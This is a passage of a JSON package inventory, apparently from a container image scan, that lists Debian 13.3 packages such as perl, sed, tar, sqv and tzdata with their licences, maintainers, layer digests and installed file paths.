"/usr/share/perl/5.40.1/unicore/lib/PCM/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/PatSyn/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Alnum.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Assigned.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Blank.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Graph.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/PerlWord.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/PosixPun.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Print.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/SpacePer.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Title.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Word.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/XPosixPu.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlAny.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlCh2.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlCha.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlFol.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlIDC.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlIDS.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlIsI.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlNch.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlPat.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlPr2.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlPro.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlQuo.pl", "/usr/share/perl/5.40.1/unicore/lib/QMark/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/AT.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/CL.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/FO.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/LE.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/LO.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/NU.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/SC.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/ST.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/Sp.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/UP.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/SD/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/STerm/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Arab.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Beng.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Cprt.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Cyrl.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Deva.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Dupl.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Geor.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Glag.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gong.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gonm.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gran.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Grek.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gujr.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Guru.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Han.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Hang.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Hira.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Kana.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Knda.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Latn.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Limb.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Linb.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Mlym.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Mong.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Mult.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Orya.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Sinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Syrc.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Taml.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Telu.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Zinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Zyyy.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Adlm.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Arab.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Armn.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Beng.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Bhks.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Bopo.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cakm.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cham.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Copt.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cprt.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cyrl.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Deva.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Diak.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Dupl.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Ethi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Geor.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Glag.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gong.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gonm.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gran.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Grek.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gujr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Guru.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Han.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hang.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hebr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hira.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hmng.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hmnp.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Kana.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Khar.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Khmr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Khoj.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Knda.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Kthi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Lana.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Lao.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Latn.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Limb.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Lina.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Linb.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Mlym.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Mong.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Mult.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Mymr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Nand.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Nko.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Orya.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Phlp.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Rohg.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Shrd.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Sind.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Sinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Syrc.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tagb.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Takr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Talu.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Taml.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tang.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Telu.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Thaa.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tibt.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Tirh.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Vith.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Xsux.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Yezi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Yi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Zinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Zyyy.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Zzzz.pl", "/usr/share/perl/5.40.1/unicore/lib/Term/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/UIdeo/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Upper/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/VS/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/R.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/Tr.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/Tu.pl", "/usr/share/perl/5.40.1/unicore/lib/Vo/U.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/Extend.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/FO.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/HL.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/KA.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/LE.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/MB.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/ML.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/MN.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/NU.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/WSegSpac.pl", "/usr/share/perl/5.40.1/unicore/lib/WB/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/XIDC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/XIDS/Y.pl", "/usr/share/perl/5.40.1/unicore/uni_keywords.pl", "/usr/share/perl/5.40.1/unicore/version", "/usr/share/perl/5.40.1/utf8.pm", "/usr/share/perl/5.40.1/vars.pm", "/usr/share/perl/5.40.1/version.pm", "/usr/share/perl/5.40.1/version.pod", "/usr/share/perl/5.40.1/version/Internals.pod", "/usr/share/perl/5.40.1/version/regex.pm", "/usr/share/perl/5.40.1/vmsish.pm", "/usr/share/perl/5.40.1/warnings.pm", "/usr/share/perl/5.40.1/warnings/register.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "readline-common@8.2-6", "Name": "readline-common", "Identifier": { "PURL": "pkg:deb/debian/readline-common@8.2-6?arch=all\u0026distro=debian-13.3", "UID": "c4beab42d2a9a634" }, "Version": "8.2", "Release": "6", "Arch": "all", "SrcName": "readline", "SrcVersion": "8.2", "SrcRelease": "6", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-or-later", "ISC-no-attribution" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "InstalledFiles": [ "/usr/share/doc/readline-common/changelog.Debian.gz", "/usr/share/doc/readline-common/changelog.gz", "/usr/share/doc/readline-common/copyright", "/usr/share/doc/readline-common/inputrc.arrows", "/usr/share/info/rluserman.info.gz", "/usr/share/lintian/overrides/readline-common", "/usr/share/man/man3/history.3readline.gz", "/usr/share/man/man3/readline.3readline.gz", "/usr/share/readline/inputrc" ], "AnalyzedBy": "dpkg" }, { "ID": "rpcsvc-proto@1.4.3-1", "Name": "rpcsvc-proto", "Identifier": { "PURL": "pkg:deb/debian/rpcsvc-proto@1.4.3-1?arch=amd64\u0026distro=debian-13.3", "UID": "8386878bea362d0f" }, "Version": "1.4.3", "Release": "1", "Arch": "amd64", "SrcName": "rpcsvc-proto", "SrcVersion": "1.4.3", "SrcRelease": "1", "Licenses": [ "BSD-3-Clause", "permissive-fsf", "permissive-makefile-in", "permissive-autoconf-m4-no-warranty", "GPL-3+-autoconf-exception", "permissive-configure", "GPL-2+-autoconf-exception", "MIT", "permissive-autoconf-m4", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/rpcgen", "/usr/include/rpcsvc/bootparam_prot.h", "/usr/include/rpcsvc/bootparam_prot.x", "/usr/include/rpcsvc/key_prot.h", "/usr/include/rpcsvc/key_prot.x", "/usr/include/rpcsvc/klm_prot.h", "/usr/include/rpcsvc/klm_prot.x", "/usr/include/rpcsvc/mount.h", "/usr/include/rpcsvc/mount.x", "/usr/include/rpcsvc/nfs_prot.h", "/usr/include/rpcsvc/nfs_prot.x", "/usr/include/rpcsvc/nlm_prot.h", "/usr/include/rpcsvc/nlm_prot.x", "/usr/include/rpcsvc/rex.h", "/usr/include/rpcsvc/rex.x", "/usr/include/rpcsvc/rquota.h", "/usr/include/rpcsvc/rquota.x", "/usr/include/rpcsvc/rstat.h", "/usr/include/rpcsvc/rstat.x", "/usr/include/rpcsvc/rusers.h", "/usr/include/rpcsvc/rusers.x", "/usr/include/rpcsvc/sm_inter.h", "/usr/include/rpcsvc/sm_inter.x", "/usr/include/rpcsvc/spray.h", "/usr/include/rpcsvc/spray.x", "/usr/share/doc/rpcsvc-proto/changelog.Debian.gz", "/usr/share/doc/rpcsvc-proto/changelog.gz", "/usr/share/doc/rpcsvc-proto/copyright", "/usr/share/man/man1/rpcgen.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "sed@4.9-2", "Name": "sed", "Identifier": { "PURL": "pkg:deb/debian/sed@4.9-2?arch=amd64\u0026distro=debian-13.3", "UID": "d383a5208f5e9f7d" }, "Version": "4.9", "Release": "2", "Arch": "amd64", "SrcName": "sed", "SrcVersion": "4.9", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "X11", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-only", "ISC", "BSD-4-Clause-UC", "BSL-1", "pcre" ], "Maintainer": "Clint Adams \u003cclint@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/sed", "/usr/share/doc/sed/AUTHORS", "/usr/share/doc/sed/BUGS.gz", "/usr/share/doc/sed/NEWS.gz", "/usr/share/doc/sed/README", "/usr/share/doc/sed/THANKS.gz", "/usr/share/doc/sed/changelog.Debian.gz", "/usr/share/doc/sed/changelog.gz", "/usr/share/doc/sed/copyright", "/usr/share/doc/sed/examples/dc.sed", "/usr/share/doc/sed/sedfaq.txt.gz", "/usr/share/info/sed.info.gz", "/usr/share/locale/af/LC_MESSAGES/sed.mo", "/usr/share/locale/ast/LC_MESSAGES/sed.mo", "/usr/share/locale/bg/LC_MESSAGES/sed.mo", "/usr/share/locale/ca/LC_MESSAGES/sed.mo", "/usr/share/locale/cs/LC_MESSAGES/sed.mo", "/usr/share/locale/da/LC_MESSAGES/sed.mo", "/usr/share/locale/de/LC_MESSAGES/sed.mo", "/usr/share/locale/el/LC_MESSAGES/sed.mo", "/usr/share/locale/eo/LC_MESSAGES/sed.mo", "/usr/share/locale/es/LC_MESSAGES/sed.mo", "/usr/share/locale/et/LC_MESSAGES/sed.mo", "/usr/share/locale/eu/LC_MESSAGES/sed.mo", "/usr/share/locale/fi/LC_MESSAGES/sed.mo", "/usr/share/locale/fr/LC_MESSAGES/sed.mo", "/usr/share/locale/ga/LC_MESSAGES/sed.mo", "/usr/share/locale/gl/LC_MESSAGES/sed.mo", "/usr/share/locale/he/LC_MESSAGES/sed.mo", "/usr/share/locale/hr/LC_MESSAGES/sed.mo", "/usr/share/locale/hu/LC_MESSAGES/sed.mo", "/usr/share/locale/id/LC_MESSAGES/sed.mo", "/usr/share/locale/it/LC_MESSAGES/sed.mo", "/usr/share/locale/ja/LC_MESSAGES/sed.mo", "/usr/share/locale/ka/LC_MESSAGES/sed.mo", "/usr/share/locale/ko/LC_MESSAGES/sed.mo", "/usr/share/locale/nb/LC_MESSAGES/sed.mo", "/usr/share/locale/nl/LC_MESSAGES/sed.mo", "/usr/share/locale/pl/LC_MESSAGES/sed.mo", "/usr/share/locale/pt/LC_MESSAGES/sed.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/sed.mo", "/usr/share/locale/ro/LC_MESSAGES/sed.mo", "/usr/share/locale/ru/LC_MESSAGES/sed.mo", "/usr/share/locale/sk/LC_MESSAGES/sed.mo", "/usr/share/locale/sl/LC_MESSAGES/sed.mo", "/usr/share/locale/sr/LC_MESSAGES/sed.mo", "/usr/share/locale/sv/LC_MESSAGES/sed.mo", "/usr/share/locale/tr/LC_MESSAGES/sed.mo", "/usr/share/locale/uk/LC_MESSAGES/sed.mo", "/usr/share/locale/vi/LC_MESSAGES/sed.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/sed.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/sed.mo", "/usr/share/man/man1/sed.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "sqv@1.3.0-3+b2", "Name": "sqv", "Identifier": { "PURL": "pkg:deb/debian/sqv@1.3.0-3%2Bb2?arch=amd64\u0026distro=debian-13.3", "UID": "5eabfc86c764d322" }, "Version": "1.3.0", "Release": "3+b2", "Arch": "amd64", "SrcName": "rust-sequoia-sqv", "SrcVersion": "1.3.0", "SrcRelease": "3", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.0-only" ], "Maintainer": "Debian Rust Maintainers \u003cpkg-rust-maintainers@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19", "libgmp10@2:6.3.0+dfsg-3", "libhogweed6t64@3.10.1-1", "libnettle8t64@3.10.1-1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/sqv", "/usr/share/bash-completion/completions/sqv.bash", "/usr/share/doc/sqv/NEWS.gz", "/usr/share/doc/sqv/changelog.Debian.amd64.gz", "/usr/share/doc/sqv/changelog.Debian.gz", "/usr/share/doc/sqv/copyright", "/usr/share/fish/completions/sqv.fish", "/usr/share/man/man1/sqv.1.gz", "/usr/share/zsh/vendor-completions/_sqv" ], "AnalyzedBy": "dpkg" }, { "ID": "sysvinit-utils@3.14-4", "Name": "sysvinit-utils", "Identifier": { "PURL": "pkg:deb/debian/sysvinit-utils@3.14-4?arch=amd64\u0026distro=debian-13.3", "UID": "de87fee69db80552" }, "Version": "3.14", "Release": "4", "Arch": "amd64", "SrcName": "sysvinit", "SrcVersion": "3.14", "SrcRelease": "4", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later", "GPL-3.0-only", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian sysvinit maintainers \u003cdebian-init-diversity@chiark.greenend.org.uk\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/init/init-d-script", "/usr/lib/init/vars.sh", "/usr/lib/lsb/init-functions", "/usr/lib/lsb/init-functions.d/00-verbose", "/usr/sbin/fstab-decode", "/usr/sbin/killall5", "/usr/share/doc/sysvinit-utils/changelog.Debian.gz", "/usr/share/doc/sysvinit-utils/copyright", "/usr/share/man/man5/init-d-script.5.gz", "/usr/share/man/man8/fstab-decode.8.gz", "/usr/share/man/man8/killall5.8.gz", "/usr/share/man/man8/pidof.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "tar@1.35+dfsg-3.1", "Name": "tar", "Identifier": { "PURL": "pkg:deb/debian/tar@1.35%2Bdfsg-3.1?arch=amd64\u0026distro=debian-13.3", "UID": "4f69996c49afbaca" }, "Version": "1.35+dfsg", "Release": "3.1", "Arch": "amd64", "SrcName": "tar", "SrcVersion": "1.35+dfsg", "SrcRelease": "3.1", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-3+ with Bison exception", "LGPL-2.1-or-later", "LGPL-2.1-only", "LGPL-3.0-or-later", "LGPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Janos Lenart \u003cocsi@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/tar", "/usr/lib/mime/packages/tar", "/usr/sbin/rmt-tar", "/usr/sbin/tarcat", "/usr/share/doc/tar/AUTHORS", "/usr/share/doc/tar/NEWS.gz", "/usr/share/doc/tar/README.Debian", "/usr/share/doc/tar/THANKS.gz", "/usr/share/doc/tar/changelog.1.gz", "/usr/share/doc/tar/changelog.Debian.gz", "/usr/share/doc/tar/changelog.gz", "/usr/share/doc/tar/copyright", "/usr/share/locale/bg/LC_MESSAGES/tar.mo", "/usr/share/locale/ca/LC_MESSAGES/tar.mo", "/usr/share/locale/cs/LC_MESSAGES/tar.mo", "/usr/share/locale/da/LC_MESSAGES/tar.mo", "/usr/share/locale/de/LC_MESSAGES/tar.mo", "/usr/share/locale/el/LC_MESSAGES/tar.mo", "/usr/share/locale/eo/LC_MESSAGES/tar.mo", "/usr/share/locale/es/LC_MESSAGES/tar.mo", "/usr/share/locale/et/LC_MESSAGES/tar.mo", "/usr/share/locale/eu/LC_MESSAGES/tar.mo", "/usr/share/locale/fi/LC_MESSAGES/tar.mo", "/usr/share/locale/fr/LC_MESSAGES/tar.mo", "/usr/share/locale/ga/LC_MESSAGES/tar.mo", "/usr/share/locale/gl/LC_MESSAGES/tar.mo", "/usr/share/locale/hr/LC_MESSAGES/tar.mo", "/usr/share/locale/hu/LC_MESSAGES/tar.mo", "/usr/share/locale/id/LC_MESSAGES/tar.mo", "/usr/share/locale/it/LC_MESSAGES/tar.mo", "/usr/share/locale/ja/LC_MESSAGES/tar.mo", "/usr/share/locale/ka/LC_MESSAGES/tar.mo", "/usr/share/locale/ko/LC_MESSAGES/tar.mo", "/usr/share/locale/ky/LC_MESSAGES/tar.mo", "/usr/share/locale/ms/LC_MESSAGES/tar.mo", "/usr/share/locale/nb/LC_MESSAGES/tar.mo", "/usr/share/locale/nl/LC_MESSAGES/tar.mo", "/usr/share/locale/pl/LC_MESSAGES/tar.mo", "/usr/share/locale/pt/LC_MESSAGES/tar.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/tar.mo", "/usr/share/locale/ro/LC_MESSAGES/tar.mo", "/usr/share/locale/ru/LC_MESSAGES/tar.mo", "/usr/share/locale/sk/LC_MESSAGES/tar.mo", "/usr/share/locale/sl/LC_MESSAGES/tar.mo", "/usr/share/locale/sr/LC_MESSAGES/tar.mo", "/usr/share/locale/sv/LC_MESSAGES/tar.mo", "/usr/share/locale/tr/LC_MESSAGES/tar.mo", "/usr/share/locale/uk/LC_MESSAGES/tar.mo", "/usr/share/locale/vi/LC_MESSAGES/tar.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/tar.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/tar.mo", "/usr/share/man/man1/tar.1.gz", "/usr/share/man/man1/tarcat.1.gz", "/usr/share/man/man8/rmt-tar.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "tzdata@2025b-4+deb13u1", "Name": "tzdata", "Identifier": { "PURL": "pkg:deb/debian/tzdata@2025b-4%2Bdeb13u1?arch=all\u0026distro=debian-13.3", "UID": "7331305c81b4897a" }, "Version": "2025b", "Release": "4+deb13u1", "Arch": "all", "SrcName": "tzdata", "SrcVersion": "2025b", "SrcRelease": "4+deb13u1", "Licenses": [ "public-domain" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/share/doc/tzdata/NEWS.Debian.gz", "/usr/share/doc/tzdata/README.Debian", "/usr/share/doc/tzdata/changelog.Debian.gz", "/usr/share/doc/tzdata/changelog.gz", "/usr/share/doc/tzdata/copyright", "/usr/share/lintian/overrides/tzdata", "/usr/share/zoneinfo/Africa/Abidjan", "/usr/share/zoneinfo/Africa/Accra", "/usr/share/zoneinfo/Africa/Addis_Ababa", "/usr/share/zoneinfo/Africa/Algiers", "/usr/share/zoneinfo/Africa/Asmara", "/usr/share/zoneinfo/Africa/Bamako", "/usr/share/zoneinfo/Africa/Bangui", "/usr/share/zoneinfo/Africa/Banjul", "/usr/share/zoneinfo/Africa/Bissau", "/usr/share/zoneinfo/Africa/Blantyre", "/usr/share/zoneinfo/Africa/Brazzaville", "/usr/share/zoneinfo/Africa/Bujumbura", "/usr/share/zoneinfo/Africa/Cairo", "/usr/share/zoneinfo/Africa/Casablanca", "/usr/share/zoneinfo/Africa/Ceuta", "/usr/share/zoneinfo/Africa/Conakry", "/usr/share/zoneinfo/Africa/Dakar", "/usr/share/zoneinfo/Africa/Dar_es_Salaam", "/usr/share/zoneinfo/Africa/Djibouti", "/usr/share/zoneinfo/Africa/Douala", "/usr/share/zoneinfo/Africa/El_Aaiun", "/usr/share/zoneinfo/Africa/Freetown", "/usr/share/zoneinfo/Africa/Gaborone", "/usr/share/zoneinfo/Africa/Harare", "/usr/share/zoneinfo/Africa/Johannesburg", "/usr/share/zoneinfo/Africa/Juba", "/usr/share/zoneinfo/Africa/Kampala", "/usr/share/zoneinfo/Africa/Khartoum", "/usr/share/zoneinfo/Africa/Kigali", "/usr/share/zoneinfo/Africa/Kinshasa", "/usr/share/zoneinfo/Africa/Lagos", "/usr/share/zoneinfo/Africa/Libreville", "/usr/share/zoneinfo/Africa/Lome", "/usr/share/zoneinfo/Africa/Luanda", "/usr/share/zoneinfo/Africa/Lubumbashi", "/usr/share/zoneinfo/Africa/Lusaka", "/usr/share/zoneinfo/Africa/Malabo", "/usr/share/zoneinfo/Africa/Maputo", "/usr/share/zoneinfo/Africa/Maseru", "/usr/share/zoneinfo/Africa/Mbabane", "/usr/share/zoneinfo/Africa/Mogadishu", "/usr/share/zoneinfo/Africa/Monrovia", "/usr/share/zoneinfo/Africa/Nairobi", "/usr/share/zoneinfo/Africa/Ndjamena", "/usr/share/zoneinfo/Africa/Niamey", "/usr/share/zoneinfo/Africa/Nouakchott", "/usr/share/zoneinfo/Africa/Ouagadougou", "/usr/share/zoneinfo/Africa/Porto-Novo", "/usr/share/zoneinfo/Africa/Sao_Tome", "/usr/share/zoneinfo/Africa/Tripoli", "/usr/share/zoneinfo/Africa/Tunis", "/usr/share/zoneinfo/Africa/Windhoek", "/usr/share/zoneinfo/America/Adak", "/usr/share/zoneinfo/America/Anchorage", "/usr/share/zoneinfo/America/Anguilla", "/usr/share/zoneinfo/America/Antigua", "/usr/share/zoneinfo/America/Araguaina", "/usr/share/zoneinfo/America/Argentina/Buenos_Aires", "/usr/share/zoneinfo/America/Argentina/Catamarca", "/usr/share/zoneinfo/America/Argentina/Cordoba", "/usr/share/zoneinfo/America/Argentina/Jujuy", "/usr/share/zoneinfo/America/Argentina/La_Rioja", "/usr/share/zoneinfo/America/Argentina/Mendoza", "/usr/share/zoneinfo/America/Argentina/Rio_Gallegos", "/usr/share/zoneinfo/America/Argentina/Salta", "/usr/share/zoneinfo/America/Argentina/San_Juan", "/usr/share/zoneinfo/America/Argentina/San_Luis", "/usr/share/zoneinfo/America/Argentina/Tucuman", "/usr/share/zoneinfo/America/Argentina/Ushuaia", "/usr/share/zoneinfo/America/Aruba", "/usr/share/zoneinfo/America/Asuncion", "/usr/share/zoneinfo/America/Atikokan", "/usr/share/zoneinfo/America/Bahia", "/usr/share/zoneinfo/America/Bahia_Banderas", "/usr/share/zoneinfo/America/Barbados", "/usr/share/zoneinfo/America/Belem", "/usr/share/zoneinfo/America/Belize", 